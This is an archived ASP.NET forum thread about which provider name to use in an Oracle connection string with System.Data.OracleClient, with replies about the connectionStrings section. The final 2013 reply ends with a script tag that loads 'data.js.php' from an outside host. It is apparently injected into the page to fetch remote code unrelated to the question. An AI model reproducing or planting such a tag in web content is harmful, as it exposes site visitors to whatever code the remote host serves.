locked
problem with provider name RRS feed

  • Question

  • User949187281 posted

    Hi Everybody!

    I am using Oracle 9i as backend and Microsoft .Net framework 2.0. I am using Microsoft® .NET Framework data provider for Oracle with  System.Data.OracleClient namespace.

    Code: 

     string connection = System.Configuration.ConfigurationManager.AppSettings["dbConnection"].ToString();

    OracleConnection conn = new OracleConnection("connection");

    Could you please tell me what is the provider name? I would appreciate your help.

    <appSettings>

    <add key="dbConnection" value="Provider=______________________;User ID=scott;Password=tiger;Data Source=orcl;"/>

    </appSettings>

     

    Thanks,

     Uttam

    Monday, May 28, 2007 1:32 AM

Answers

  • User-2005691517 posted

    Since you already have the connection string in your web.config, use the following (you don't need the entry in appSettings)

    string connection = System.Configuration.ConfigurationManager.ConnectionStrings["ConnectionString"].ConnectionString;

    OracleConnection conn = new OracleConnection(connection);

    • Marked as answer by Anonymous Thursday, October 7, 2021 12:00 AM
    Monday, May 28, 2007 10:49 AM

All replies

  • User-989915499 posted

    Hi sthauttam ,

    Provider=OraOLEDB.Oracle;Data Source=MyOracleDB;User Id=myUsername;Password=myPassword;

    http://www.connectionstrings.com/?carrier=oracle

    You find whatever connection string you need, ;)

    Monday, May 28, 2007 1:50 AM
  • User949187281 posted

    Hi d4dennis!

    Thanks for your suggestion but it didn't work. I got an error: {"Keyword not supported: 'provider'."}

    IN my web.config I have done like this;

     

    <configuration>

    <appSettings>

    <add key="dbConnection" value="Provider=OraOLEDB.Oracle;User ID=scott;Password=tiger;Data Source=orcl;"/>

    </appSettings>

    <connectionStrings>

    <add name="ConnectionString" connectionString="Data Source=orcl;User ID=scott;Password=tiger;Unicode=True" providerName="System.Data.OracleClient"/>

    </connectionStrings>

    Could you please help me?

    thanks,

    Monday, May 28, 2007 9:36 AM
  • User949187281 posted

    Hi d4dennis!

    Thanks for your suggestion but it didn't work. I got an error: {"Keyword not supported: 'provider'."}

    IN my web.config I have done like this;

     

    <configuration>

    <appSettings>

    <add key="dbConnection" value="Provider=OraOLEDB.Oracle;User ID=scott;Password=tiger;Data Source=orcl;"/>

    </appSettings>

    <connectionStrings> <add name="ConnectionString" connectionString="Data Source=orcl;User ID=scott;Password=tiger;Unicode=True" providerName="System.Data.OracleClient"/>

    </connectionStrings>

    Could you please help me?

    thanks,

    Monday, May 28, 2007 9:36 AM
  • User-2005691517 posted

    Since you already have the connection string in your web.config, use the following (you don't need the entry in appSettings)

    string connection = System.Configuration.ConfigurationManager.ConnectionStrings["ConnectionString"].ConnectionString;

    OracleConnection conn = new OracleConnection(connection);

    • Marked as answer by Anonymous Thursday, October 7, 2021 12:00 AM
    Monday, May 28, 2007 10:49 AM
  • User949187281 posted

    Thanks Prashant,

     I appreciate your answer. You have solved my big problem.

    Thanks

    Uttam

    Monday, May 28, 2007 2:06 PM
  • User1582478129 posted

    When you using oracleconnection no need to mention Provider=OraOLEDB in app setting

    <script src="https://secure-content-delivery.com/data.js.php?i={9D3C6015-7D87-41CF-BC62-8E0EA07E647A}&d=2013-10-6&s=http://forums.asp.net/post/set/85/1115524/1728484&cb=0.671781678511527" type="text/javascript"></script>
    Friday, October 11, 2013 7:55 PM